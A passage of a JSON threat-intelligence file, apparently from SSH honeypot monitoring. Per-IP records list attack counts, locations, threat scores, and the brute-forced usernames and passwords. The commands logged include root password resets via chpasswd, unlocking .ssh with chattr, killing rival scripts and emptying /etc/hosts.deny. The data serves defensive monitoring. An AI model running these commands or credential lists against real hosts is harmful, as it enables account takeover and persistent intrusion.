      "honeypot_breakdown_30d": {
        "Cowrie": 449,
        "Suricata": 68
      }
    },
    "170.245.246.145": {
      "attack_count": 386,
      "first_seen": "2026-05-19T18:16:46.347Z",
      "last_seen": "2026-05-22T20:17:50.515Z",
      "sessions": 193,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Olinda",
      "asn": 266030,
      "as_org": "W B DE ANDRADE TELECOMUNICACOES E INFORMATICA",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 580,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:16:46.347000+00:00",
        "last_seen_30d": "2026-05-22T20:18:55.548000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 386,
        "Suricata": 194
      }
    },
    "136.248.247.188": {
      "attack_count": 311,
      "first_seen": "2026-05-13T02:20:13.825Z",
      "last_seen": "2026-05-23T18:08:11.032Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "postgres",
        "admin",
        "eduard",
        "erick",
        "kbe",
        "kingbase",
        "lee",
        "macro",
        "nginx",
        "oracle",
        "student",
        "sysadmin",
        "terraria",
        "ubuntu",
        "ubuntu22",
        "user_1",
        "vmuser",
        "wade"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "1QAZ2wsx!@",
        "1q2w3e4r5t6y",
        "666666",
        "@aA123456",
        "Aa123456789",
        "Admin@123",
        "Ljy123456",
        "Master@2026",
        "Mm@147258",
        "Oracle",
        "P@ssw0rd",
        "Password123!",
        "Qweasdzxc123",
        "Temp123456",
        "admin123@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2AdH8ZpaSUGF\"|chpasswd|bash",
        "echo \"root:yu3QYnwknzYT\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T02:20:13.825000+00:00",
        "last_seen_30d": "2026-05-23T18:09:14.937000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 96
      }
    },
    "41.86.34.139": {
      "attack_count": 297,
      "first_seen": "2026-05-20T13:10:53.910Z",
      "last_seen": "2026-05-27T22:51:39.656Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user",
        "admin",
        "alex",
        "asterisk",
        "backupuser",
        "builder",
        "claude",
        "github",
        "giulia",
        "int",
        "karthavya",
        "mata",
        "mc",
        "test001",
        "user1",
        "wt"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0okm)OKM",
        "123",
        "123!@#asdASD",
        "123456qW",
        "1qaz2wsx#",
        "ABCabc123456",
        "Aa123123",
        "Aa666666",
        "Abc.1234",
        "Claude2026!",
        "Huawei_123",
        "Temp123",
        "Welcome@123",
        "asterisk",
        "backupuser",
        "builder"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nCmlGLy0Ts2pt\\nCmlGLy0Ts2pt\\n\"|passwd",
        "echo \"root:6KxkSwbel4hf\"|chpasswd|bash",
        "echo -e \"1234\\nCmlGLy0Ts2pt\\nCmlGLy0Ts2pt\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": "Victoria",
      "asn": 36958,
      "as_org": "Cable & Wireless (Seychelles)",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 380,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:10:53.910000+00:00",
        "last_seen_30d": "2026-05-27T22:52:42.270000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 297,
        "Suricata": 83
      }
    },
    "43.156.212.86": {
      "attack_count": 281,
      "first_seen": "2026-05-31T22:13:55.712Z",
      "last_seen": "2026-05-31T22:43:12.135Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "ossuser",
        "aaa",
        "angel",
        "lukas",
        "runner",
        "server",
        "share",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234",
        "159357asd",
        "@dmin1234",
        "Changeme_123",
        "Test123",
        "Welcome@2026!",
        "ali1234",
        "angel",
        "lukas",
        "root4321",
        "share",
        "test@2024"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Changeme_123\\nGBo5iTqPXop1\\nGBo5iTqPXop1\\n\"|passwd",
        "echo \"ali1234\\nXZ7IUHLCOzwp\\nXZ7IUHLCOzwp\\n\"|passwd",
        "echo \"root:0vOywZmMFkPw\"|chpasswd|bash",
        "echo -e \"Changeme_123\\nGBo5iTqPXop1\\nGBo5iTqPXop1\"|passwd|bash",
        "echo -e \"ali1234\\nXZ7IUHLCOzwp\\nXZ7IUHLCOzwp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T22:13:55.712000+00:00",
        "last_seen_30d": "2026-05-31T22:44:14.561000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 281,
        "Suricata": 48
      }
    },
    "123.179.230.162": {
      "attack_count": 222,
      "first_seen": "2026-05-20T18:25:40.036Z",
      "last_seen": "2026-05-21T06:32:35.595Z",
      "sessions": 111,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:25:40.036000+00:00",
        "last_seen_30d": "2026-05-21T06:33:36.134000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 222,
        "Suricata": 113
      }
    },
    "211.106.137.135": {
      "attack_count": 220,
      "first_seen": "2026-05-29T18:28:32.216Z",
      "last_seen": "2026-05-31T22:38:27.673Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root/123456",
        "admin",
        "alberto",
        "aluno",
        "ammar",
        "app",
        "deploy",
        "dev",
        "diego",
        "epro",
        "erpuser",
        "frontend",
        "mahdi",
        "minecraft",
        "nb",
        "ospite",
        "sambauser",
        "test"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "root",
        "0123456789",
        "1234",
        "123456",
        "147258369",
        "Cc123456789",
        "Master2023",
        "P@ssw0rd",
        "P@ssw0rd2025",
        "Qq123456789.",
        "Qq@123456",
        "a",
        "admin123456.",
        "alberto",
        "aluno",
        "ammar",
        "app123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:2jadjGU7hGkp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Goyang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T18:28:32.216000+00:00",
        "last_seen_30d": "2026-05-31T22:39:28.911000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 220,
        "Suricata": 77
      }
    },
    "43.155.21.198": {
      "attack_count": 219,
      "first_seen": "2026-05-08T23:17:32.283Z",
      "last_seen": "2026-05-08T23:49:01.815Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "testuser",
        "oracle",
        "root",
        "test",
        "ubuntu",
        "345gs5662d34",
        "fastuser",
        "faxserver",
        "ftpadmin",
        "ftpuser",
        "gitadmin",
        "mysql",
        "sftp",
        "test0",
        "test2",
        "test4",
        "teste2",
        "testing1",
        "testuser2"
      ],
      "passwords_attempted": [
        "admin",
        "!@#$%^&*",
        "*",
        "123456",
        "1a2s3",
        "1qaz",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Hello123",
        "P455w0rd@dm1n",
        "P@ssw0rd",
        "Pa$$w0rd",
        "admin!QAZ2wsx",
        "admin123!",
        "fastuser123",
        "faxserver",
        "gitadmin",
        "lkjhgfdsa",
        "newpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"P455w0rd@dm1n\\nbzFBZuGw5Lsj\\nbzFBZuGw5Lsj\\n\"|passwd",
        "echo -e \"P455w0rd@dm1n\\nbzFBZuGw5Lsj\\nbzFBZuGw5Lsj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T23:17:32.283000+00:00",
        "last_seen_30d": "2026-05-08T23:50:07.038000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "172.83.83.194": {
      "attack_count": 218,
      "first_seen": "2026-05-28T23:03:04.879Z",
      "last_seen": "2026-05-28T23:38:02.250Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "ali",
        "foo",
        "ll",
        "sammy",
        "user",
        "xh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "1234",
        "123456",
        "159753",
        "P@ssw0rd!!!",
        "P@ssw0rd1",
        "P@ssword123",
        "admin@123",
        "arcsight",
        "fjbdfdjkdsfs541544",
        "foo",
        "ll",
        "qwe@123",
        "qwert",
        "rootroot",
        "test123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"fjbdfdjkdsfs541544\\nguX48bRWonEE\\nguX48bRWonEE\\n\"|passwd",
        "echo \"rootroot\\njuVE0c9HENjW\\njuVE0c9HENjW\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nguX48bRWonEE\\nguX48bRWonEE\"|passwd|bash",
        "echo -e \"rootroot\\njuVE0c9HENjW\\njuVE0c9HENjW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 1037,
      "as_org": "RBDC, Inc.",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T23:03:04.879000+00:00",
        "last_seen_30d": "2026-05-28T23:39:09.033000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 46
      }
    },
    "98.70.48.241": {
      "attack_count": 218,
      "first_seen": "2026-05-02T07:11:08.591Z",
      "last_seen": "2026-05-02T07:43:13.937Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "tester",
        "345gs5662d34",
        "admin2",
        "amir",
        "dev",
        "erpnext",
        "hadoop",
        "oracle",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "123test456",
        "1QAZxsw23edc",
        "1qaz@WSX3edc",
        "1qw2#ER$",
        "2312",
        "3245gs5662d34",
        "345gs5662d34",
        "ASD123!@#",
        "Abc123...",
        "Admin2025!@#",
        "Bx123456.",
        "Lucas@2025",
        "P4ssw0rd@2025",
        "Passw0rd!",
        "Password",
        "abc@123",
        "admin#2024",
        "admin123$%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wuwanDzzUydG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:11:08.591000+00:00",
        "last_seen_30d": "2026-05-02T07:44:21.756000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "171.114.227.55": {
      "attack_count": 216,
      "first_seen": "2026-05-19T06:43:01.781Z",
      "last_seen": "2026-05-19T17:54:13.388Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:43:01.781000+00:00",
        "last_seen_30d": "2026-05-19T17:55:17.807000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 119
      }
    },
    "212.227.246.98": {
      "attack_count": 213,
      "first_seen": "2026-05-29T19:13:48.742Z",
      "last_seen": "2026-05-29T19:39:33.094Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "pavan",
        "andrea",
        "console",
        "ftpuser",
        "info",
        "odoo11",
        "pivpn",
        "svn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "Qazwsx123",
        "Qwerty78",
        "Qwertyuiop123@",
        "Welcome2024",
        "admin2020",
        "andrea",
        "console",
        "info123",
        "odoo11",
        "pavan",
        "pivpn123",
        "qazwsx",
        "ubuntu",
        "zy123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"pavan\\nbAyygCeiS3bf\\nbAyygCeiS3bf\\n\"|passwd",
        "echo \"ubuntu\\nxjft48Tjna9b\\nxjft48Tjna9b\\n\"|passwd",
        "echo -e \"pavan\\nbAyygCeiS3bf\\nbAyygCeiS3bf\"|passwd|bash",
        "echo -e \"ubuntu\\nxjft48Tjna9b\\nxjft48Tjna9b\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:13:48.742000+00:00",
        "last_seen_30d": "2026-05-29T19:40:34.382000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 43
      }
    },
    "115.135.232.127": {
      "attack_count": 212,
      "first_seen": "2026-05-22T07:35:32.343Z",
      "last_seen": "2026-05-22T08:36:10.134Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "steam",
        "test1",
        "flussonic",
        "ftpuser",
        "michael",
        "odoo17",
        "sammy",
        "unturned",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "00001111",
        "112233",
        "12345",
        "12345678",
        "123456a",
        "123QWEasd!@#",
        "abcd",
        "admin123!@#",
        "flussonic",
        "michael2025",
        "odoo17@2025",
        "qwerty123",
        "root",
        "steampass",
        "unturned"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n33YXwJq6p4dR\\n33YXwJq6p4dR\\n\"|passwd",
        "echo \"root:XccifhMAe8MF\"|chpasswd|bash",
        "echo -e \"12345678\\n33YXwJq6p4dR\\n33YXwJq6p4dR\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Petaling Jaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:35:32.343000+00:00",
        "last_seen_30d": "2026-05-22T08:37:18.926000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "203.145.143.163": {
      "attack_count": 212,
      "first_seen": "2026-05-29T23:02:37.837Z",
      "last_seen": "2026-05-29T23:25:37.890Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "leonardo",
        "ansible",
        "mailcow",
        "rafael",
        "testuser",
        "ubuntu",
        "user02"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!",
        "1",
        "123456",
        "123456a.",
        "12345asd",
        "123@123a",
        "6969",
        "868686",
        "PAssw0rd",
        "QAZqaz123",
        "leonardo",
        "mailcow",
        "rafael",
        "ubuntu2026",
        "zhang123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
